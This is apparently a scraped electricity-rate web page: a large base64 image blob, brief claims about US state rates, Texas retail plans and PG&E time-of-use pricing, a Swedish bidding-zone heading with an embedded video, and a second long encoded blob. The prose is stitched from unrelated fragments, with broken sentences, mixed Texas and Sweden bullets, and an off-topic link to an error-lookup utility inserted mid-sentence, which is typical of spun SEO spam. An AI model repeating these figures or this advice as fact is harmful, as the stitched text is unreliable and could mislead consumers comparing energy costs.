RV4AwAAQPR6g0R9sw7AGenNKgGJ9MoJTMMwE6io72xxkDSWE8ij5KAzVJmLoKg0ylGcUoI3AAAAzLA3mHUAVmOE1bIg4V8Fcl2p4GEh2hLM9gi9oTyqZg6VXguHeqLSqyaSMOse8AYAAIDp6N+gWxycnRiCeYOqG3BmZa5XBmB1YtCiII+iDpJYWUuwXhHBPsjVGzTPHGuNyfZ1sLCwsLCwzMUlEAhEy3gK756Mpjc46xu0BJjeoNTBmUZ1gdSfqDRikt4wMHhdwdRPAAAAEfcGq9+iqh6w+jeoKG62bmgtsCRDG4Dqr2CqiflBquVCa8RkvIHTAgAAYPq8weyHqKK7x3gKNRrC3MSK8doArG4K4haSUhuGUhCtEXgDAABA9HqDOT2DOXhBVxLooQ3OLorm/A1WI4VlAGb9hMpQ10DobhB4AwAAwGyqb5gMrnNATSd4AwAAwKzxholN1oQ3AAAAzEdvmHHwBgAAALwBbwAAAMAbIuANz8Z8RmxBN6cIAAAA3uDlDUND1xWcHwAAAHgD7RQAAAB4A94AAACAN+ANAAAAeAPeAAAAgDfgDQAAAHgD3gAAAIA34A14AwAAAN4wIW9g3icAAAC8IVxvYN4nAAAAvIF2CgAAALwBbwAAAMAb8AYAAAC8AW8AAADAG/AGAAAAvAFvAAAAALwBbwAAAMAbJucNzPsEAACAN4TrDcz7BAAAgDfQTgEAAIA34A0AAAB4A94AAACAN+ANAAAAeAPeAAAAgDfgDQAAAIA34A0AAAB4w+S8gXmfAAAA8IZwvWFw6LqC8wMAAABvoJ0CAAAAb8AbAAAA5q033HHnwvySekE9Gde2E9sKbwAAAJgmb9h68IqEaoU8t949cyFfvyvPzbceW7x3ydpTztzufXi9qwFIesF8qVLqDb9yzxK8AQAAIHq9wYzTShGc7ypdUHqh35KQr2TCUgdZr+TDaQDKDPRLeW4mUFaBNwAAAESvN5iu4BrpzSoBifTKCcQVtAGYCVQOztwkjeUE8ig56AxV5rIzKo2uAnHWZ+ANAAAAM9lOIUFdSYA8WnHaalmQlCqBrlSwkHd1em0JZnuE3lAeVTOHSq+FQz1R6ZXThFn3gDcAAABMU79I1ehg1hx4e4OqG3DmY65XBmB1YtCiII+iDpJYKUuwXhHBPsjVGzTPHGuNyfZ1sLCwsLCwzMUlEAjMcP8GFZslqHv3ZDS9wbUHpdl9QeWs1MGZRnWB1IMvlEZM0hv6Bq8rmPoJAAAgIt5gtiw4GyDkXat/gzYMrQh6c0sytAFYwzTUS7N7hB5JMUlv4LQAAACIuDeYlQS67kFFd4/xFGo0hNl10Yrx2gCsbgriFpJSG4baAb0PeAMAAEC094vUMzRoCdCVBObsDlYXRXP+BquRwjIA005UhroGQneDwBsAAABmR7/IyeM6B9R0gjcAAADMGm+Y2GRNeAMAAMB89IYZB28AAADAG/AGAAAAvCEC3vBszGfEFnRzigAAAOANXt4wOHRdwfkBAACAN9BOAQAAgDfgDQAAAHgD3gAAAIA34A0AAAB4A94AAACAN+ANAAAAeAPegDcAAADgDRPyBuZ9AgAAwBvC9QbmfQIAAMAbaKcAAADAG/AGAAAAvAFvAAAAwBvwBgAAALwBbwAAAMAb8AYAAADAG/AGAAAAvGFy3sC8TwAAAHhDuN7AvE8AAAB4A+0UAAAAeAPeAAAAgDfgDQAAAHgD3gAAAIA34A0AAAB4A94AAAAAeAPeAAAAgDdMzhuY9wkAAABvCNcbmPcJAAAAb6CdAgAAAG/AGwAAAPCGO+5cmF9SL6gn49p2YlvhDQAAANPhDUvWnpI4bbL14BUzwZkL+foteW6+9djivbK5laFsfu/D610NQNIL5kuVUm/4lXuW4A0AAACzo75BxWznGqULEtfNdyXkK5mw1EHWK/NwGoAyA/1SnpsJlFXgDQAAALPDG6z6ALPyQEd65QTiCtoAzASmeZgGIGksJ5BHyUFnqDIXQVFplKM4pQRvAAAAiBZvcG2JME1Cwr8K5LpSwdnqodNrSzDbI/SG8qiaOVR6LRzqiUqvmkjCrHvAGwAAAKbPGySEmzUH3t6g6gacmZjrlQFYnRi0KMijqIMkVvUWwXpFBPsgV2/QPHOsNSbb18HCwsLCwjIXl0AgMPPeYDYZhOMNzsRaAkxvUOrgTKO6QOrBF0ojJukNfYPXFUz9BAAAEEFvsHosBquE0FHc7N+gtcCSDG0A1hgN9dLsHqFHUkzSGzgtAAAApsMbdEWCFd09xlOo0RBm10UrxmsDsLopiFtISm0YSkG0RuANAAAAUe0Nrt0PdSWBHtrgTGPO32A1UlgGYNZPqAx1DYTuBoE3AAAAzKbxFJMcwxn+mMlIgDcAAADMGm+Y2GRNeAMAAMB89IYZB28AAADAG/AGAAAAvCEC3rAg5jNOFXRzigAAAOANXt4wOHRdwfkBAACAN9BOAQAAgDfgDQAAAHgD3gAAAIA34A0AAAB4A94AAACAN+ANAAAAeAPegDcAAADgDRPyBuZ9AgAAwBvC9QbmfQIAAMAbaKcAAADAG/AGAAAAvAFvAAAAwBvwBgAAALwBbwAAAMAb8AYAAADAG/AGAAAAvGFy3sC8TwAAAHhDuN7AvE8AAAB4A+0UAAAAeAPeAAAAgDfgDQAAAHgD3gAAAIA34A0AAAB4A94AAAAAeAPeAAAAgDdMzhuY9wkAAABvCNcbmPcJAAAAb6CdAgAAYO56wx13LswvqRfUk3FtO7Gt8AYAAIDp84bHFu+VaK2w3jpzIV+/Jc+trZasPWWl33rwyr0Pr3c1AEkvmC9VSr3hV+5ZgjcAAABEtTdY4dx59690QeK6aRUS8pVMWOog6yWlqzcoM9Av5bmZQO0G3gAAABC93qDidLB3deWBjvTKCcQVtAGYCczcTAOQNJYTyKPkoDNUmYugqDTKUZxSgjcAAADMpDeYzRCCVfFgVUVI+FeBXFcqWMi7Or22BLM9Qm8oj6qZQ6XXwqGeqPRq38Kse8AbAAAAIu4NZuuD2Srh7Q2qbsCZm7le5WZ1YtCiII/y0ZJY1VsE6xUR7IPwBgAAgJnxBrPPgVWR4OENzvoGLQGmN1h1GDqN6gKpB18ojZiMN+TVdLCwsLCwsMyHpbura4bbKZw9GHT1gNW/QUVxs3+D1gJLMrQBqP4K5ihNU1aUqWiNmLA3zOe5K8Z76lAIFBQFRSlFbUFdHxqiHCJxRk3leAod102HUCs9xlOo0RBm10UrxmsDsLopiFtISm0YSkG0RuANXL8oKAqKUsIbIKq9wewaqQO2lgk9tMHZRdGcv8FqpLAMwKyfUBnqGgjdDQJv4PpFQVFQlBIFhTfMAm+YElzngJpOAr29nElhFVQgQCFQUBQUpURBze6CGn/IizpvmNhkTQAAADCbxlMAAAAA3gAAAACANwAAAADeAAAAAHgDAAAA4A0AAACAN0CE2H300p33vCiPFAWlMUkWLd0tpVdYWktRBEMKR4pICoqiAOHrD74r4A14w0QutcIEzh51DXpo4fooiZTqu6zcEuv8dhENxuaneBRjOMU1td4wIwUiH6fy1/F72q5NU+gNssOSVeKlHGuN9dUmic4w0qdohLxBna7mKa3WKCJtJ3J0otCB1Pmv98osEPN0ijRyUMxTK9hHz7g3qBNScP1dTM/BxRsmHrPl0Qwws84b9Kmmv4XKWf1g1K8oEneiKpzonJ2/gZnyhpkqEO0N+jc/u7xBRSPraqty1gU7VV/HzEqV23h/gzPoDToy6VNaZa6+gvo6ETWhKPQGLZdqr8yfs3prmr0h5G9hZr1BXyvMktFn1DScQnjDxK+zThU1HVnOPH32m5cJ7YnmrVLIDfVF2fJxfQLpa5CVlZXSuryqbHUC86RU3y5CNdjWJ1przC8VsrjMC42zNGZLgehPMS9b5rXJqvCw9tC8tjprwmSNPNeFI0/0c1Weun7FEqZgWbme/7KV7Lz1lvo6U36ptRTELDTzhNGXTtNpXNOoNeapog1SfZD2Bh3hnHd+Vm76gDp33qpvULunin0aWtwsb7Du7M2fgFnO5inn3GHTF/W76lOcmVjfzix8tVfmr2zaoqCHN1hao09m/QPRJ7xaqdPrL26d/M6KAXND60fkPIvkpRSL+as3j8iU3JfiDZGqb7DOZv170yefTmbdFVnHNdiG6jxT55BKbP6cnJnLGmdWVspworjpKBG6L3EGHn0tM3dGXsp61+KyLrKupeFattFZIOZu64/Q1xqnuKhdMk1UbaJSqjPEOm10nvqr6fzNc0xfNz2y8rgkWUfWrESZwqu/5Q3mEbeKwjp/VO1gsDSmtZunijzqBDqy6tPAI7dgtdzOK7tZSpG+kTX3X57r3VAfrd5V+2BVrDq9wbm5+XtRJ495Snhot7lXzgvdDHqDrDG/l/7t6OeWHwRbbz53loy5oXWAglWnBfMGV9XAG6Krf4P1kzAvZK+vPGjdgpgXen1cvTc0fzZm/DDX68jhzEoSO2/uQ979m7dQkbi39vAG55XFtbjMBg55y7U0XMs2OgvEDPn6yqWvNeZFR18gLA3Slbq6oHQCs8TM564JdG4eWXm0NzsTOO9cI+cNZouSLigr8LimMc8Z87lrAvOIeOTmceF2TaBvUiMdI4O1U+i+KR71Cs71zjBm5W8m9igWcytTBGekvkFz+lyWazx21gXqOkLXhjnXyjbzq1nNMZbTu15zzE084gveEHWoA68OsHXChe8N3hs6vcG5XmfozEqHSf3D05cnq2nDas6X89W8CZs2bzBrtl0vslaCYN5g3j17FIizNGakQExvMItCnVqu1S36ZLD6EFiE9AZ57vQGswE1WFamS1lNG1b/Bh3RI9ROoY3Qudu6oJxVIGYab2/Qh970BrNyyyM36x7D9ZRWL7UjTnM7hdlx1dUbrKZA1ztv8ws6rUJFQV35p3+V5kH03quZqm8wW7jMC4XTG3S1gV4fzBusc0ZfiFxPaaXvrr1ELdWwssUbon1AjnlJDdZZz3lhcq1vcO13GaY3WPUN4fcZtMKkGZgjVEnovIewomAk6huiuUCsJgbdHOBR36C/plk4ZiWBa7fHML3Bqm8IvwelR9PsFHYNce3fYN39Bzvcrmkm4A3O+obwO1Fap7RpNtMw4NOM6+ZHB6tvcFaYW/Jqbu7qDfr+yuMECFYLYv4upt8bzC6rwfpFWvUNwdomrI4yzvoG85TWKulRMxqsx2iwfcYbZhjVUdH6/TsjSrBGd+t6GmzDcLzBytw1qk0sTJqdkiIxDsp5++VsUlUNqK7FFWb/hllUIOb1Ud/Km3WVzhZifd+mv4trbA7TG6z+DSGzCtMb9NXQWZM05eMpXIOu5QGunVTC9AZn/4aQnxi+N5g9ciJ60be6EKkDan5BV28wv5SOZ87NXb+Cvmv3uAkO5g3TPPTD2b/BtYkhnH4M+oQ3q6XNwtG92Vw/Rde4BPu5BfMG15slvCFaJoFx/hKcFVD6jtA6+3VKdYV13TDM+gYrcysr7zDprIXTcXoaagjNqkizcJwl5lFc3qUxiwrEuq+yKhLMBhedxjnlg5XS2Z02mDeYAy70F/TOymNsmBVCIj1/g7PBy3rL6mPhTBOmN7j21fDOLeTOmyEk0oPvLR+19kftQzBvMH+YpnlYm3v3fnD1IWvMlM5qOqci8B5P4TxeaviD3k/XOVdMW1I/MasYvb3BtA3vThjqt2n99PAGJjEEAJj1HcmZk3RizUnRCd6ANwAARIppGF86T2YJwhvwBgCAeXEl5N89JtwDDG8AAACA2Q3eAAAAAHgDAAAA4A0AAACANwAAAADeAAAAAHgDAAAA4A14AwAAAOANAAAAgDcAAAAA3gAAAAB4AwAAAOANAAAAgDcAAAAA4A0AAACANwAAAADeAAAAAHgDAAAA4A0AAACANwBMHwuOtz4TY/NsTOvg0DgyiYuLe/LW8srLL6s1y5cvP3DggPdW4aQxkcx1/nODT9d+/dPVd9msufuTwf5xFb5ZLOXl5XIg5HEyO5aakiKZRFVZ+draKsrLBXkygc2fNBazuMz1ckLKmo23Fp1Anqv1rqUNgDfAvEMU4eljNrJyYDDcHMxAFXdriYQ3SCRT3iBP5o43rLn701Vfs1l91ycDAbzBpLioKCkpKTExMT4+Xp6UlpRMwBv0mSMqoIvIXO9anvLcLE/LKgDwBsAbxu0NzhijLrVqURdllUYtrmlUtDM3sThwe9FXbVM71Ob6iZWPPJeU+obSuTO6vsTcMOQuzQpvUF/c/LJmGeptzS+7b98+6xbcIx9JoFZO0lS8axrEFeKNRQRivLUO1kGU3VaF4Dy4ZgHKo7JVZcPqvJ1L5gp4A8AX2JPZ5XSCqUIy92hBsOoS9Lvm7ZqZRq7U6tIc7E5XXa/Nd814qWOhaz5W1bS1M2acMCNEyF0KyWj8ey5aMEVI5iG9wSoi9dzVG+RY6C/u/MrB8tFFZFXmh88TpR/fceWX3jx0fkVMfKzpDbHxcQ+eXx5yQ8k8mDfob+Qqhbo05FG+mi4xracAeAPMTSInDQrrUhtO/wZZqQOMTqPaICxFcDZS6HfN0K4CpLrQB8vHow5DNjS3UkEinF0KqzohYtKgcK0sMe/+LRtQ6129wap+t7whWD76UFrFFT4hY7/yBhGF+C8usjKcbcPxBr3oEtBFJI/meSXPJ6ZHAHgDUN/whfoGM8CoC6vlDWYtt9MbnJHPCtJmVDNvbVUO+i4wWD5WhtbOuNY3hNylWVHfYOmOeunqDbrlSL1leUOwfCbvDeHUN3z14qKT8adNaZCXsnKS9Q1q512PrP468qi7QcgTpRFcWABvAPo3TKp/g+sF1/QGMwiFU9/g3Rne6pegboV1tHPNx4wNzp0xm/Z1QJ1wIIyq/g3h1zeYTqDusKenviFMSktKVKdIeUxISCguKppMv0jz3AtmhKoJxqw/Uy8j140DAG+AWTIOM8ZlHKaoQ/jeoLorWpUBZg2BdVOrg42ZxuOGXt36O6/pZt8F86UzH3Olc2e0dnhHmsh4w7+6jMNc9bWp8gbdF8E0NrM8rZ4f2hucnSud+UynN+hxmGWlpRMeh6mPpqpw8j7KckrINzJbLubeMGDAGwAmwtDQ9cFBF8aViR4coS+sesyCuijrXvdmK4OZxrzptyxB9zkI1knCTO+aj/Ne09oZvUaNvPDIaooZGhybqsHJeDLxHk+hxhxafqC/r7OZ3ypYU/KsfKbZGyaJx/wNrt6g7Er7qCpVRmAC3gAAX4h/5VMx+QEAAN4AMGcxm0uicJ5EAMAb8AaA6K3EZlYfAMAbAAAAAG8AAAAAvAEAAADwBrwBAAAA8AYAAADAGwAAAABvAAAAALwBAAAA8AYAAADAGwAAAADwBgAAAMAbAAAAAG8AAAAAvAEAAADwBgAAAJgv3sDCwsLCwsLC4lxcvIGFhYWFhYWFJeSCN7CwsLCwsLDgDSwsLCwsLCx4AwsLCwsLC8tMLf8/enMw3V0GHqAAAAAASUVORK5CYII=" width="255px" alt="electricity rates"/></p>
<p><p>Aging grid infrastructure and reliance on imported natural gas drive costs higher across the region. Hawaii has the most expensive electricity at 52.72¢/kWh, 187% above the national average. Nevada has the cheapest residential electricity at 13.11¢/kWh, 29% below the national average. The national average has risen 5.0%  year-over-year. Regional differences are driven by fuel sources, infrastructure age, and regulatory structure. The South Central region is cheapest at 14.47¢/kWh; the Northeast is most expensive at 25.49¢/kWh — 39% above the national average.</p>
</p>
<p><p>APG&#038;E Simple Choice 12 is one of the strongest options for lower-usage households, offering the lowest rate on our marketplace at roughly 400–700 kWh per month. Because we make electricity shopping easier, not more confusing. Bill credits, tiered pricing, and base charges mean the advertised rate you see often only applies at one specific usage point. If you don’t see yours, you can compare all providers using the state-sponsored shopping site in your area.</p>
</p>
<ul>
<li>To shop for today’s electricity rates in Texas, visit this page.</li>
<li>Consider your most important features, such as price, plan type, contract length, or renewable energy.</li>
<li>If you don’t see yours, you can compare all providers using the state-sponsored shopping site in your area.</li>
<li>Use energy savings tips or perform a DIY energy audit to find out where you’re wasting energy.</li>
<li>These differences often produce a lower average price per kWh than residential service, although some commercial plans also include demand charges and other fees.</li>
</ul>
<p><h2>Electricity prices in bidding zones in Sweden</h2>
</p>
<p><div style='text-align:center'><iframe width='569' height='316' src='https://www.youtube.com/embed/LkhFoJ77L6Y' frameborder='0' alt='electricity rates' allowfullscreen></iframe></div>
</p>
<p><p>Use our bill calculator at /bill-calculator for a state-specific <a href="https://efmsoft.com/error-lookup-utility/">https://efmsoft.com/error-lookup-utility/</a> estimate with current EIA rates. Peak hours (typically 4pm-9pm when demand is highest) cost more &#8211; PG&#038;E&#8217;s E-TOU-C peak rate runs $0.45-$0.65/kWh. Calculate yours + peak-reduction savings. Pennsylvania and Ohio offer official comparison portals. Click any state for detail including utility breakdown, deregulation status, and bill estimate.</p>
</p>
<p><h2>Texas Current Electricity Rates – Deregulated Market</h2>
</p>
<ul>
<li>It only takes a minute or so to compare and savings can be locked in up to 3 years in some cases.</li>
<li>The northern zones host most heavy industry — including the H2 Green Steel and Hybrit steel-decarbonisation projects — and consume an increasing share of the country&#8217;s hydro surplus.</li>
<li>Researching and comparing different plans can lead to substantial savings.</li>
<li>Regulation structure determines whether you can shop.</li>
<li>Each electricity provider offers several plans with rates that depend on your energy usage.</li>
</ul>
<p><p>Some include bill credits, minimum-usage fees, or other conditions. Some fixed-rate plans also include bill credits, free usage periods, or other pricing rules. Strong provider competition has helped keep electricity prices near recent historic lows since July. Some of the most popular energy providers on our marketplace include TXU Energy, Gexa Energy, 4Change Energy, Express Energy, and Veteran Energy. In months when you meet that threshold, the credit can lower your total bill and average rate. For example, the mock plan below offers a $100 credit when monthly usage reaches 1,000 kWh.</p>
</p>
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